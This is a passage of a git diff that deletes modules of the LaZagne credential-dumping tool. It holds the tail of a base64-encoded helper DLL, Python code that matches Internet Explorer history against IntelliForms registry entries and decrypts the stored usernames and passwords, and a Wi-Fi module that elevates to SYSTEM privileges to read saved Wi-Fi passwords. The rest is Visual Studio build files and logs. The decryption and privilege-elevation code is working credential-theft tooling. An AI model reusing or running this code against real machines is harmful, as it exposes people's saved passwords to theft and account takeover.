-AAAAAAAAAAAAAFAAADgBAACwIAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPggAABAAAAA -AAAAAAAAAAAAIAAAnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAvgkAAAAQAAAA -CgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAABQGAAAAIAAAAAgAAAAOAAAAAAAAAAAAAAAA -AABAAABALmRhdGEAAABcCwAAADAAAAACAAAAFgAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAtAEA -AABAAAAAAgAAABgAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAHgBAAAAUAAAAAIAAAAaAAAAAAAA -AAAAAAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL -7IPsNFcz/1eJffz/FYwgABCNRfxQaNwgABBqAVdozCAAEP8VlCAAEIXAD4jVAAAAi0X8iwiNVfhS -UItBHP/QhcAPiLMAAABTix14IAAQVotF+IsIjVX0Uo1VzFJqAVCLQQz/0IXAD4WBAAAAi0XQhcB0 -bmo/UP8VgCAAEIPECIXAdAUzyWaJCItF0I1QAmaLCIPAAmaFyXX1K8LR+I1wATPJi8a6AgAAAPfi -D5DB99kLyFH/04PEBIkEvUgzABCFwHQei03QUVZQ/xV8IAAQixS9SDMAEDPAg8QMZolEcv5Hgf8A -AgAAD4xi////i0X4iwiLUQhQ/9JeW4tF/IsIi1EIUP/S/xWQIAAQi8dfi+Vdw8zMzMzMzMzMzMzM -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 -AJ0UABAAAAAAaRQAEH0UABD+////AAAAAMz///8AAAAA/v///wAAAAB1FgAQAAAAAP7///8AAAAA -2P///wAAAAD+////CxgAEB4YABD4IgAAAAAAAAAAAAA+IwAAjCAAALAiAAAAAAAAAAAAAG4jAABE -IAAAbCIAAAAAAAAAAAAAuCUAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJ4lAACIJQAAciUAAEgl -AAAsJQAAGCUAAPokAADeJAAAyiQAALYkAACYJAAAkCQAAHokAABqJAAAWiQAAGIlAAAAAAAA8iMA -ACAkAAAuJAAANiQAAEAkAADcIwAAyiMAALwjAACuIwAAoiMAAJIjAACKIwAAfCMAAF4jAABSIwAA -SCMAABYkAAAAAAAALiMAABwjAAAIIwAAAAAAABAAQ29DcmVhdGVJbnN0YW5jZQAAbABDb1VuaW5p -dGlhbGl6ZQAAPgBDb0luaXRpYWxpemUAAG9sZTMyLmRsbAAwBndjc2NocgAANAZ3Y3NjcHlfcwAA -YwA/PzJAWUFQQVhJQFoAAE1TVkNSMTAwLmRsbAAANANfbWFsbG9jX2NydACLBWZyZWUAABkCX2Vu -Y29kZWRfbnVsbACwAl9pbml0dGVybQCxAl9pbml0dGVybV9lAMUBX2Ftc2dfZXhpdAAAMQFfX0Nw -cFhjcHRGaWx0ZXIA+wFfY3J0X2RlYnVnZ2VyX2hvb2sAAFMBX19jbGVhbl90eXBlX2luZm9fbmFt -ZXNfaW50ZXJuYWwAAI0EX3VubG9jawBbAV9fZGxsb25leGl0ACMDX2xvY2sAyQNfb25leGl0ACEC -X2V4Y2VwdF9oYW5kbGVyNF9jb21tb24A6gBFbmNvZGVQb2ludGVyAMoARGVjb2RlUG9pbnRlcgDs -AkludGVybG9ja2VkRXhjaGFuZ2UAsgRTbGVlcADpAkludGVybG9ja2VkQ29tcGFyZUV4Y2hhbmdl -AADABFRlcm1pbmF0ZVByb2Nlc3MAAMABR2V0Q3VycmVudFByb2Nlc3MA0wRVbmhhbmRsZWRFeGNl -cHRpb25GaWx0ZXIAAKUEU2V0VW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAAADSXNEZWJ1Z2dlclBy -ZXNlbnQA3gBEaXNhYmxlVGhyZWFkTGlicmFyeUNhbGxzAKcDUXVlcnlQZXJmb3JtYW5jZUNvdW50 -ZXIAkwJHZXRUaWNrQ291bnQAAMUBR2V0Q3VycmVudFRocmVhZElkAADBAUdldEN1cnJlbnRQcm9j -ZXNzSWQAeQJHZXRTeXN0ZW1UaW1lQXNGaWxlVGltZQBLRVJORUwzMi5kbGwAAAAAAAAAAAAAAAAA -AAAAwYLLVAAAAAACJgAAAQAAAAEAAAABAAAA+CUAAPwlAAAAJgAAIBEAAA8mAAAAAGhpc3Rvcmlj -LmRsbABsaXN0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE7mQLuxGb9E//// -//////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAA -AAABABgAAAAYAACAAAAAAAAAAAAEAAAAAAABAAIAAAAwAACAAAAAAAAAAAAEAAAAAAABAAkEAABI -AAAAWEAAAFoBAADkBAAAAAAAADxhc3NlbWJseSB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0 -LWNvbTphc20udjEiIG1hbmlmZXN0VmVyc2lvbj0iMS4wIj4NCiAgPHRydXN0SW5mbyB4bWxucz0i -dXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjMiPg0KICAgIDxzZWN1cml0eT4NCiAgICAg -IDxyZXF1ZXN0ZWRQcml2aWxlZ2VzPg0KICAgICAgICA8cmVxdWVzdGVkRXhlY3V0aW9uTGV2ZWwg -bGV2ZWw9ImFzSW52b2tlciIgdWlBY2Nlc3M9ImZhbHNlIj48L3JlcXVlc3RlZEV4ZWN1dGlvbkxl -dmVsPg0KICAgICAgPC9yZXF1ZXN0ZWRQcml2aWxlZ2VzPg0KICAgIDwvc2VjdXJpdHk+DQogIDwv -dHJ1c3RJbmZvPg0KPC9hc3NlbWJseT5QQVBBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5H -UEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQUQAEAAAGAEAAA8wGDAg -MCYwTDB6ML0wzTDUMAkxJjEtMUQxTjFTMVgxbjF6MZsxqTG2Mbsx4THqMfsxEzIoMi0yMzJLMlAy -XDJsMnIyeTKQMpYyqjLCMtoy4DLzMhMzJDMvMzczXzNmM2szcDN3M4QzlTOyM78z1zMqNFc0nzTX -NN004zTpNO809TT8NAM1CjURNRg1HzUmNS41NjU+NUo1UzVYNV41aDVxNXw1iDWNNZ01ojWoNa41 -xDXLNdI14DXrNfE1BDYZNiQ2OjZSNlw2mTaeNr82xDaIN403nze9N9E31zc+OEQ4SjhQOGE4bTiB -OJ446zjwOAc5Kjk3OUM5SzlTOV85iDmQOZw5ojmoOa45tDm6OQAAACAAACAAAACoMPAw9DA0MTgx -0DHYMdwx+DEUMhgyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==''' - - f = open(dll_name, 'wb') - f.write(base64.b64decode(coded_string)) - f.close() - - def get_history(self): - urls = [] - urls = self.history_from_regedit() - - try: - # wrapper to call the dll exported function (called list) - lib = cdll.LoadLibrary(dll_name) - lib.list.restype = POINTER(c_wchar_p) - ret = lib.list() - - for r in ret: - try: - if r: - if r.startswith("http") and r not in urls: - urls.append(r) - else: - break - except Exception,e: - print_debug('DEBUG', '{0}'.format(e)) - - # Unload the dll to delete it later - handle = lib._handle # obtain the DLL handle - windll.kernel32.FreeLibrary(handle) - - # delete the dll - os.remove(dll_name) - - except Exception,e: - print_debug('DEBUG', '{0}'.format(e)) - print_debug('ERROR', 'Browser history failed to load, only few url will be tried') - - urls.append('https://www.facebook.com/') - urls.append('https://www.gmail.com/') - urls.append('https://accounts.google.com/') - urls.append('https://accounts.google.com/servicelogin') - - return urls - - def history_from_regedit(self): - urls = [] - - # open the registry - accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE - keyPath = 'Software\\Microsoft\\Internet Explorer\\TypedURLs' - - try: - hkey = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, keyPath, 0, accessRead) - except Exception,e: - print_debug('DEBUG', '{0}'.format(e)) - return [] - - num = win32api.RegQueryInfoKey(hkey)[1] - for x in range(0, num): - k = win32api.RegEnumValue(hkey, x) - if k: - urls.append(k[1]) - return urls - - def decipher_password(self, cipher_text, u): - # deciper the password - pwd = self.Win32CryptUnprotectData(cipher_text, u) - a = None - for i in range(len(pwd)): - try: - a = pwd[i:].decode('UTF-16LE') - a = a.decode('utf-8') - break - except Exception,e: - pass - result = '' - - # the last one is always equal to 0 - secret = a.split('\x00') - if secret[len(secret)-1] == '': - secret = secret[:len(secret)-1] - - # define the length of the tab - if len(secret) % 2 == 0: - length = len(secret) - else: - length = len(secret)-1 - - values = {} - # list username / password in clear text - for s in range(length): - try: - if s % 2 != 0: - values = {} - values['Website'] = u.decode('UTF-16LE') - values['Username'] = secret[length - s] - values['Password'] = password - pwdFound.append(values) - else: - password = secret[length - s] - except Exception,e: - print_debug('DEBUG', '{0}'.format(e)) - - def run(self, historic=''): - # write the binary file - try: - self.write_binary_file() - except Exception,e: - print_debug('DEBUG', '{0}'.format(e)) - print_debug('ERROR', '%s cannot be created, check your file permission' % dll_name) - - list = [] - if historic: - if os.path.exists(historic): - f = open(historic, 'r') - for line in f: - list.append(line.strip()) - else: - print_debug('WARNING', 'The text file %s does not exist' % historic) - - # retrieve the urls from the history - hash_tables = self.get_hash_table(list) - - # open the registry - accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE - keyPath = 'Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2' - - failed = False - try: - hkey = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, keyPath, 0, accessRead) - except Exception,e: - print_debug('DEBUG', '{0}'.format(e)) - failed = True - - nb_site = 0 - nb_pass_found = 0 - if failed == False: - num = win32api.RegQueryInfoKey(hkey)[1] - for x in range(0, num): - k = win32api.RegEnumValue(hkey, x) - if k: - nb_site +=1 - for h in hash_tables: - # both hash are similar, we can decipher the password - if h[1] == k[0][:40].lower(): - nb_pass_found += 1 - cipher_text = k[1] - self.decipher_password(cipher_text, h[0]) - break - - # manage errors - if nb_site == 0: - print_debug('INFO', 'No credentials stored in the IE browser.') - elif nb_site > nb_pass_found: - print_debug('ERROR', '%s hashes have not been decrypted, the associate website used to decrypt the passwords has not been found' % str(nb_site - nb_pass_found)) - - else: - print_debug('INFO', 'No password stored.\nThe registry key storing the ie password has not been found.\nKey: %s' % keyPath) - - - # Clean up - if os.path.exists(dll_name): - os.remove(dll_name) - - return pwdFound \ No newline at end of file diff --git a/Windows/src/LaZagne/lazagne/softwares/wifi/wifi.py b/Windows/src/LaZagne/lazagne/softwares/wifi/wifi.py deleted file mode 100755 index a49291d5..00000000 --- a/Windows/src/LaZagne/lazagne/softwares/wifi/wifi.py +++ /dev/null @@ -1,63 +0,0 @@ -from lazagne.config.write_output import print_debug -from lazagne.config.get_system_priv import get_system_priv -from ctypes import * -import time, tempfile -from ConfigParser import RawConfigParser -import os -from lazagne.config.moduleInfo import ModuleInfo - -class Wifi(ModuleInfo): - def __init__(self): - options = {'command': '-wi', 'action': 'store_true', 'dest': 'wifi', 'help': 'Vista and higher - Need System Privileges'} - ModuleInfo.__init__(self, 'Wifi', 'wifi', options) - - def run(self, software_name = None): - - if not windll.Shell32.IsUserAnAdmin(): - print_debug('WARNING', '[!] This script should be run as admin!') - return - else: - - if 'ALLUSERSPROFILE' in os.environ: - directory = os.environ['ALLUSERSPROFILE'] + os.sep + 'Microsoft\Wlansvc\Profiles\Interfaces' - else: - print_debug('ERROR', 'Environment variable (ALLUSERSPROFILE) has not been found.') - return - - if not os.path.exists(directory): - print_debug('INFO', 'No credentials found.\nFile containing passwords not found:\n%s' % directory) - return - - try: - print_debug('INFO', '[!] Trying to elevate our privilege') - get_system_priv() - print_debug('INFO', '[!] Elevation ok - Passwords decryption is in progress') - except Exception,e: - print_debug('DEBUG', '{0}'.format(e)) - print_debug('ERROR', '[!] An error occurs during the privilege elevation process. Wifi passwords have not been decrypted') - - time.sleep(5) - - # read temp file containing all passwords found - pwdFound = [] - filepath = tempfile.gettempdir() + os.sep + 'TEMP123A.txt' - - # the file has not been created yet - if not os.path.exists(filepath): - time.sleep(5) - - if os.path.exists(filepath): - cp = RawConfigParser() - cp.read(filepath) - for section in cp.sections(): - values = {} - for c in cp.items(section): - values[str(c[0])] = str(c[1]) - pwdFound.append(values) - - # remove file on the temporary directory - os.remove(filepath) - - return pwdFound - else: - print_debug('INFO', 'No passwords found') diff --git a/Windows/src/browser_history_dll/historic.dll b/Windows/src/browser_history_dll/historic.dll deleted file mode 100755 index aded06ca..00000000 Binary files a/Windows/src/browser_history_dll/historic.dll and /dev/null differ diff --git a/Windows/src/browser_history_dll/historic/Release/historic.dll b/Windows/src/browser_history_dll/historic/Release/historic.dll deleted file mode 100755 index aded06ca..00000000 Binary files a/Windows/src/browser_history_dll/historic/Release/historic.dll and /dev/null differ diff --git a/Windows/src/browser_history_dll/historic/Release/historic.exp b/Windows/src/browser_history_dll/historic/Release/historic.exp deleted file mode 100755 index 6a6dd568..00000000 Binary files a/Windows/src/browser_history_dll/historic/Release/historic.exp and /dev/null differ diff --git a/Windows/src/browser_history_dll/historic/Release/historic.lib b/Windows/src/browser_history_dll/historic/Release/historic.lib deleted file mode 100755 index d7fa106d..00000000 Binary files a/Windows/src/browser_history_dll/historic/Release/historic.lib and /dev/null differ diff --git a/Windows/src/browser_history_dll/historic/Release/historic.pdb b/Windows/src/browser_history_dll/historic/Release/historic.pdb deleted file mode 100755 index fdfd74e1..00000000 Binary files a/Windows/src/browser_history_dll/historic/Release/historic.pdb and /dev/null differ diff --git a/Windows/src/browser_history_dll/historic/historic.sdf b/Windows/src/browser_history_dll/historic/historic.sdf deleted file mode 100755 index 05de9fc3..00000000 Binary files a/Windows/src/browser_history_dll/historic/historic.sdf and /dev/null differ diff --git a/Windows/src/browser_history_dll/historic/historic.sln b/Windows/src/browser_history_dll/historic/historic.sln deleted file mode 100755 index d9535e2a..00000000 --- a/Windows/src/browser_history_dll/historic/historic.sln +++ /dev/null @@ -1,26 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 11.00 -# Visual Studio 2010 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "historic", "historic\historic.vcxproj", "{01577051-CDE2-4A5A-80D4-16F2A5A1026D}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Win32 = Debug|Win32 - Debug|x64 = Debug|x64 - Release|Win32 = Release|Win32 - Release|x64 = Release|x64 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {01577051-CDE2-4A5A-80D4-16F2A5A1026D}.Debug|Win32.ActiveCfg = Debug|Win32 - {01577051-CDE2-4A5A-80D4-16F2A5A1026D}.Debug|Win32.Build.0 = Debug|Win32 - {01577051-CDE2-4A5A-80D4-16F2A5A1026D}.Debug|x64.ActiveCfg = Debug|x64 - {01577051-CDE2-4A5A-80D4-16F2A5A1026D}.Debug|x64.Build.0 = Debug|x64 - {01577051-CDE2-4A5A-80D4-16F2A5A1026D}.Release|Win32.ActiveCfg = Release|Win32 - {01577051-CDE2-4A5A-80D4-16F2A5A1026D}.Release|Win32.Build.0 = Release|Win32 - {01577051-CDE2-4A5A-80D4-16F2A5A1026D}.Release|x64.ActiveCfg = Release|Win32 - {01577051-CDE2-4A5A-80D4-16F2A5A1026D}.Release|x64.Build.0 = Release|Win32 - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/Windows/src/browser_history_dll/historic/historic.suo b/Windows/src/browser_history_dll/historic/historic.suo deleted file mode 100755 index 48c4f8a5..00000000 Binary files a/Windows/src/browser_history_dll/historic/historic.suo and /dev/null differ diff --git a/Windows/src/browser_history_dll/historic/historic/Release/CL.read.1.tlog b/Windows/src/browser_history_dll/historic/historic/Release/CL.read.1.tlog deleted file mode 100755 index 9050915f..00000000 Binary files a/Windows/src/browser_history_dll/historic/historic/Release/CL.read.1.tlog and /dev/null differ diff --git a/Windows/src/browser_history_dll/historic/historic/Release/CL.write.1.tlog b/Windows/src/browser_history_dll/historic/historic/Release/CL.write.1.tlog deleted file mode 100755 index d7182166..00000000 Binary files a/Windows/src/browser_history_dll/historic/historic/Release/CL.write.1.tlog and /dev/null differ diff --git a/Windows/src/browser_history_dll/historic/historic/Release/cl.command.1.tlog b/Windows/src/browser_history_dll/historic/historic/Release/cl.command.1.tlog deleted file mode 100755 index f2fec407..00000000 Binary files a/Windows/src/browser_history_dll/historic/historic/Release/cl.command.1.tlog and /dev/null differ diff --git a/Windows/src/browser_history_dll/historic/historic/Release/dllmain.obj b/Windows/src/browser_history_dll/historic/historic/Release/dllmain.obj deleted file mode 100755 index aed1b7e7..00000000 Binary files a/Windows/src/browser_history_dll/historic/historic/Release/dllmain.obj and /dev/null differ diff --git a/Windows/src/browser_history_dll/historic/historic/Release/historic.Build.CppClean.log b/Windows/src/browser_history_dll/historic/historic/Release/historic.Build.CppClean.log deleted file mode 100755 index ec753d23..00000000 --- a/Windows/src/browser_history_dll/historic/historic/Release/historic.Build.CppClean.log +++ /dev/null @@ -1,20 +0,0 @@ -C:\Users\John\Desktop\Lazagne_test\historic\historic\Release\cl.command.1.tlog -C:\Users\John\Desktop\Lazagne_test\historic\historic\Release\CL.read.1.tlog -C:\Users\John\Desktop\Lazagne_test\historic\historic\Release\CL.write.1.tlog -C:\USERS\JOHN\DESKTOP\LAZAGNE_TEST\HISTORIC\HISTORIC\RELEASE\DLLMAIN.OBJ -C:\USERS\JOHN\DESKTOP\LAZAGNE_TEST\HISTORIC\HISTORIC\RELEASE\HISTORIC.DLL.INTERMEDIATE.MANIFEST -C:\USERS\JOHN\DESKTOP\LAZAGNE_TEST\HISTORIC\HISTORIC\RELEASE\HISTORIC.OBJ -C:\USERS\JOHN\DESKTOP\LAZAGNE_TEST\HISTORIC\HISTORIC\RELEASE\HISTORIC.PCH -C:\Users\John\Desktop\Lazagne_test\historic\historic\Release\historic.write.1.tlog -C:\Users\John\Desktop\Lazagne_test\historic\historic\Release\link.command.1.tlog -C:\Users\John\Desktop\Lazagne_test\historic\historic\Release\link.read.1.tlog -C:\Users\John\Desktop\Lazagne_test\historic\historic\Release\link.write.1.tlog -C:\Users\John\Desktop\Lazagne_test\historic\historic\Release\mt.command.1.tlog -C:\Users\John\Desktop\Lazagne_test\historic\historic\Release\mt.read.1.tlog -C:\Users\John\Desktop\Lazagne_test\historic\historic\Release\mt.write.1.tlog -C:\USERS\JOHN\DESKTOP\LAZAGNE_TEST\HISTORIC\HISTORIC\RELEASE\STDAFX.OBJ -C:\USERS\JOHN\DESKTOP\LAZAGNE_TEST\HISTORIC\HISTORIC\RELEASE\VC100.PDB -C:\USERS\JOHN\DESKTOP\LAZAGNE_TEST\HISTORIC\RELEASE\HISTORIC.DLL -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp 